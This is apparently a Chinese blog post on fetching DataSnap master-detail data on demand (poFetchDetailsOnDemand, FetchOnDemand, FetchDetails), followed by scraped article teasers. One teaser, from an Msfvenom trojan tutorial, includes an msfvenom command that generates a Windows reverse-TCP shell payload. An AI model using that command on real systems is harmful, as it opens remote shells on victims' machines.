DataSnap下的分包获取
DataSnap下通过TQuery—TDataSetProvider—TClientDataSet获取数据,如果是主从数据,则每条主表记录都会触发从表数据的获取。
这种获取和组织数据的方式有一个问题:如果主表纪录有数千条,则会导致从表SQL语句运行数千次,从效率和性能上讲是不合理的。所以在很多情况下,对主从表可以考虑采用分包获取的方式,即一次性获取主表数据,但是不获取从表数据,当需要显示或编辑从表数据时,再获取该主表纪录对应的从表数据。要实现这个功能,按照帮助说明要求,需要调整TDataSetProvider和TClientDataSet的相关属性:
TDataSetProvider
Options := Options + [poFetchDetailsOnDemand];
TClientDataSet
FetchOnDemand := False;
测试程序如下图:
将从表的DataSetField设置为主表的相应字段:
cdsDetail.DataSetField := cdsMain.FieldByName(QryDetail.Name) as TDataSetField;
将cdsMain的FetchOnDemand 属性设置为 False后,看到:
1、在主表开启时,确实没有一次性获取每条主记录对应的从表纪录,而只是第一条主记录获取了对应的从表数据;
2、滚动主表纪录时,DataSnap自动获取了该主记录对应的从表纪录,没有起到通过代码进行分包获取的作用。
后来将cdsDetail的FetchOnDemand 属性设置为 False后,看到滚动主记录时,DataSnap没有自动获取主记录对应的从表纪录。看来还是没有理解到位,FetchOnDemand 属性的设置是针对从表数据集的,而不是针对主表数据集。
经过多次尝试,得出以下结论:
想要实现主从表分包获取数据,除服务器上将TDataSetProvider的Options中加入poFetchDetailsOnDemand,客户端可以采用以下模式:
1、将从表的FetchOnDemand 属性设置为 False,然后通过代码
cdsMain.FetchDetails;
以主表的形式获取从表数据。
2、保持从表的FetchOnDemand 属性为 True,在开启主表时,不设置从表的DataSetField属性,当需要获取从表数据时,再设置DataSetField属性可以自动获取从表数据。处理完成后将从表的DataSetField属性设置为nil,可以关闭从表数据的自动获取。当然也可以将从表的FetchOnDemand 属性为 False,采用代码方式获取。
DataSnap下的分包获取的更多相关文章
- IE8下服务端获取客户端文件的路径为C:/fakePath问题的解决方案
上一篇文章上提到,IE8下服务端获取客户端文件的路径时,会变成C:/fakePath问题,于是乎通过文件路径去获得文件大小就失败了. 上网搜了一下,主要原因是IE8因为安全考虑,在上传文件时屏蔽了真实 ...
- 基于opencv网络摄像头在ubuntu下的视频获取
基于opencv网络摄像头在ubuntu下的视频获取 1 工具 原料 平台 :UBUNTU12.04 安装库 Opencv-2.3 2 安装编译运行步骤 安装编译opencv-2.3 参 ...
- 如何解决谷歌浏览器下jquery无法获取图片的尺寸
代码如下: $(document).ready(function(){ var img_h=$img.height(); var img_w=$img.width(); }) 以上代码在IE和火狐中没 ...
- 背水一战 Windows 10 (122) - 其它: 通过 Windows.System.Profile 命名空间下的类获取信息, 查找指定类或接口的所在程序集的所有子类和子接口
[源码下载] 背水一战 Windows 10 (122) - 其它: 通过 Windows.System.Profile 命名空间下的类获取信息, 查找指定类或接口的所在程序集的所有子类和子接口 作者 ...
- Linux下用C获取当前时间
Linux下用C获取当前时间,具体如下: 代码(可以把clock_gettime换成time(NULL)) ? 1 2 3 4 5 6 7 8 9 10 void getNowTime() { ti ...
- Python3.x:遍历select下拉框获取value值
Python3.x:遍历select下拉框获取value值 Select提供了三种选择方法: # 通过选项的顺序,第一个为 0 select_by_index(index) # 通过value属性 s ...
- input选中 和 select点击下拉选择获取选中选项的值
1.input选中$('#checkBox').find('input').each(function(i){ if($(this).prop('checked')){//获取是否选中 并判断 $(t ...
- nginx获取头部信息带下划线,获取不到解决方案
nginx获取头部信息带下划线,获取不到解决方案 解决方案: 修改配置文件,进行添加信息如下: underscores_in_headers on; 然后进行重新加载: [root@qa-web co ...
- linux下dmidecode命令获取硬件信息
linux下dmidecode命令获取硬件信息 2 A+ 所属分类:Linux 运维工具 dmidecode在 Linux 系统下获取有关硬件方面的信息.dmidecode 遵循 SMBIOS/DMI ...
随机推荐
- java 控制台输入
import java . util . Scanner ; public class Test { public static void main(String[] args) { Scanner ...
- Msfvenom木马使用及TheFatRat工具
msfvenom –platform windows -p windows/x64/shell/reverse_tcp LHOST=192.168.168.111 LPORT=3333 EXITFUN ...
- meta 跳转
强无敌. 是否厌倦了页面枯燥的跳转? 试试这样的跳转吧. Duration:表示滤镜特效的持续时间(单位:秒) Transition:滤镜类型.表示使用哪种特效,取值为0-23. <Meta h ...
- Rpgmakermv(12) gacha插件系列
很有趣的插件,可以做扭蛋啦,抽奖啦之类的东西.... 简单的示范: a.开始抽奖画面: b.抽奖中 c.随机得到物品 d.查看收集图鉴 e.图鉴内容 1.gacha 作用: get the item ...
- Yii2将查询数据变为键值对数组及查询构建器
- jQuery选择器--:first和:last
:first 概述 获取匹配的第一个元素 :last 概述 获取匹配的最后个元素 <!DOCTYPE html> <html> <head> <m ...
- 对SQLite 数据库的一点点了解
SQLite,是一款轻型的数据库,是遵守ACID的关系型数据库管理系统,它包含在一个相对小的C库中.它的设计目标是嵌入式的,它占用资源非常低,在嵌入式设备中,可能只需要几百k的内存就够了. SQLit ...
- vue中使用第三方UI库的移动端rem适配方案
需求:使用vue-cli脚手架搭建项目,并且使用第三方的UI库(比如vant,mint ui)的时候,因为第三方库用的都是用px单位,无法使用rem适配不同设备的屏幕. 解决办法:使用px2rem-l ...
- 使用SpringBoot的优势。
Spring Boot 让开发变得更简单 Spring Boot 对开发效率的提升是全方位的,我们可以简单做一下对比: 在没有使用 Spring Boot 之前我们开发一个 web 项目需要做哪些工作 ...
- 深入剖析Kubernetes k8s
深入剖析Kubernetes k8s 毫无疑问,Kubernetes 已经成为容器领域当之无愧的事实标准.除了 Google.Microsoft 等技术巨擘们在容器领域里多年的博弈外,国内的 BAT. ...